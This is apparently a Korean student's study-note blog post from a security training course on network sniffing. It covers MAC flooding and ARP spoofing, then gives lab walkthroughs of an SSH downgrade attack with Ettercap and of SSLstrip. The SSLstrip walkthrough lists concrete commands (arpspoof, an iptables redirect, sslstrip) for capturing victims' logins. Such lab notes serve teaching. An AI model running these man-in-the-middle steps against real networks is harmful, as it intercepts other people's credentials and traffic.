3. 네트워크 해킹과 보안
4.1) Sniffing
▣ Sniffing이란?
- 사전적 의미로는 "킁킁거리다" == 도청을 의미.
- 수동적(Passive) 공격
☞ Spoofing은 능동적(active) : 행동을 따로 해줘야함.
- Promiscuous Mode : 내것이 아닌 남의 정보도 훔쳐보는 모드
☞ WireShark 설치 시 설치한 wincap이 이 모드를 활성화 해줌.
- Tool : WireShark, TCPdump, Ettercap ...
▣ 계층 별 sniffing
- 1 계층에서의 hub에서는 전체에게 패킷을 뿌리므로 Promiscuous 모드만 활성화 되어있다면 sniffing 가능.
- 2 계층에서는 MAC Spoofing으로 뚫어줘야함.
- 3 계층에서는 IP Spoofing으로 뚫어줘야함.
▣ Sniffing 기법
- MAC Flooding 공격
☞ 2 계층인 Switch 환경하에서 sniffing
☞ 위조된 MAC(MAC Spoofing)을 지속적으로 발생시켜 스위치의 ARP Table 혼란시킴
☞ 바뀔때마다 계속해서 추가해나가면서 과부하가 걸림 (터짐)
☞ Dummy 허브와 같이 모든 port에 브로드캐스팅! --> 허브처럼 작동함.
- ARP Spoofing 공격
- ARP Redirect 공격
☞ ARP Spoofing이 특정 한 대상에게만 ARP Reply 패킷을 보낸것이라면
☞ ARP Redirect는 전체에게 ARP Spoofing을 함.
☞ 공격자가 G/W로 위장하여 네트워크 상에 변조된 정보를 브로드캐스팅함.
☞ 해커의 컴퓨터가 과부하로 인해 뻗고 다시 재부팅을 하고 반복해서 인터넷이 되다가 안되다가 하는 공격임.
☞ 은행에 매우 치명적.
▣ Sniffing Tool
- Ettercap을 사용.
- 칼리리눅스에는 내장되어 있음.
- 필수 요소 : 리눅스(libpcap), 윈도우(winpcap)..
- 스니핑 모드 : Unified (단일 NIC (Network Interface Card)에서 스니핑)
Bridged (Inline 방식으로 분석후 전달)
4.2) SSH Sniffing
▣ SSH
- SSH란?
☞ 원격 컴퓨터에 안전하게 액세스하기 위한 유닉스 기반의 명령, 인터페이스 및 프로토콜
☞ 패킷이 암호화되어 전송, Telnet과 같은 평문통신 프로그램을 대체.
☞ 암호화 되기때문에 sniffing된다 하더라도 해독키 없이 내용파악이 어려움.
- SSH 암호화
1. 개인키와 공개키를 만든다.
2. 공개키를 공개한다. 3. 비밀키를 만든다.
5. 개인키로 비밀키를 해석한다. 4. 공개키로 비밀키를 암호화한다.
6. 비밀키로 데이터를 암호화해 주고 받는다.
☞ 원래 통신
☞ 해커 개입
▣ SSH 프로토콜
- SSH 1
☞ Public key를 이용하여 Session key를 암호화하는 방식을 사용.
☞ MITM 공격에 취약
- SSH 2
☞ Diffie-Hellman 방식의 암호화를 사용
☞ 안전하다.
- SSH 1과 SSH 2를 모두 지원하는 서버의 경우
☞ Version Negotiation 과정이 Clear Text로 노출되어 위험.
☞ 강제적으로 SSH1을 선택하게끔 만들어서 그 다음에 훔쳐봄.
- 정상 버전의 SSH connection
- 해커 개입 SSH Downgrade Attack
▣ SSH Downgrade Attack!
- 실습 환경
☞ 공격자 : Kali linux
☞ 희생자 : Windows 10
☞ server : CentOS
[사전 설정]
- Kali linux : SSH Version 협상 시 Version 정보 변경을 위한 filter 생성.
# cd /usr/share/ettercap
# etterfilter etter.filter.ssh -o etter.filter.ssh.co : 컴파일
- CentOS : Linux Server SSH 설정 -> 기본적으로 2만 지원하게 되어있어 둘다 지원하도록 변경.
# vi /etc/ssh/sshd_config
: protocol 2 --> protocol 1,2
# service sshd restart : 데몬 재시작
[Attack!!!]
- Kali에서 ettercap GUI 구동
# ettercap -G
- Sniff -> Unified sniffing -> eth0 선택
- 스캔하기 : Hosts -> Scan for hosts
- 목록보기 : Hosts -> Hosts list
- Target 1 : 접속하는 os IP (희생자 윈도우)
Target 2 : 서버 IP (CentOS)
- ARP Spoofing : Mitm -> ARP Poisoning
☞ Sniff remote connections 만 체크.
- 필터 적용 : Filters -> Load a filter (아까 생성한 .co 파일 선택)
- 스니핑 시작 : start -> Start Sniffing
- putty에서 ssh 원격 접속으로 CentOS에 접속하면 ettercap에 아이디와 패스워드가 출력됨.
▣ SSH Downgrade Attack 보안 방안
- 정적인 ARP 테이블 사용
- SSH의 버전을 2만 사용하게 함.
- 주기적인 네트워크 모니터링.
4.2) SSH Sniffing
▣ SSL이란?
- 사이버 공간에서 전달되는 정보의 안전한 소통을 위해 넷스케이프사가 정한 인터넷 통신규약 프로토콜.
- 쉽게 말해, http가 평문 통신이라서 안전하지 않아서 조금더 안전하게 암호화를 사용하여 https로 접속하게 하는 프로토콜.
- HTTP == TCP(HTTP)라면 HTTPS == TCP(SSL(HTTP)) 로 한번더 감싸주고 있는 느낌.
- 서버가 SSL로 접속하라하면 클라이언트는 을이기때문에 SSL로 접속해야만 함.
▣ SSL Sniffing
- 정상 SSL Connection
- SSL Sniffing
▣ Tool
- SSLstrip
☞ 파이썬 언어 사용.
- 실습 환경
☞ 희생자 : Windows 10
☞ 해커 : Kali Linux
▣ SSL Sniffing
1. SSLstrip Tool을 얻고 해커의 IP 포워딩을 설정. (해커를 통해 지나가도 인터넷이 잘 사용되도록...)
# echo 1 > /proc/sys/net/ipv4/ip_forward
☞ 1 : 사용을 하겠다. / 0 : 사용을 하지 않겠다.
2. 희생자와 게이트웨이 통신 MITM을 위해 ARP Spoofing... (끄면 안됨)
# arpspoof -i [interface] -t [희생자IP] [게이트웨이IP]
3, 새로운 터미널로 희생자 통신 대체 포트 설정.
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
4. SSLstrip 실행 (끄면 안됨)
# python sslstrip.py -w [저장할 파일명] -l 10000
5. 실시간으로 정보확인
# tail -f [파일명]
▣ 보안 방안
- 백신 사용
- 다른 암호화 기법 적용.
i2sec 대구지점 23기 수료생.
'해킹&보안 > 네트워크 해킹&보안' 카테고리의 다른 글
[D+9] 네트워크 해킹과 보안 (6) (0) | 2017.04.07 |
---|---|
[D+8] 네트워크 해킹과 보안 (5) (0) | 2017.04.03 |
[D+7] 네트워크 해킹과 보안 (3) (0) | 2017.03.30 |
[D+6] 네트워크 해킹과 보안 (2) (0) | 2017.03.29 |
[D+5] 네트워크 해킹과 보안 (1) (0) | 2017.03.28 |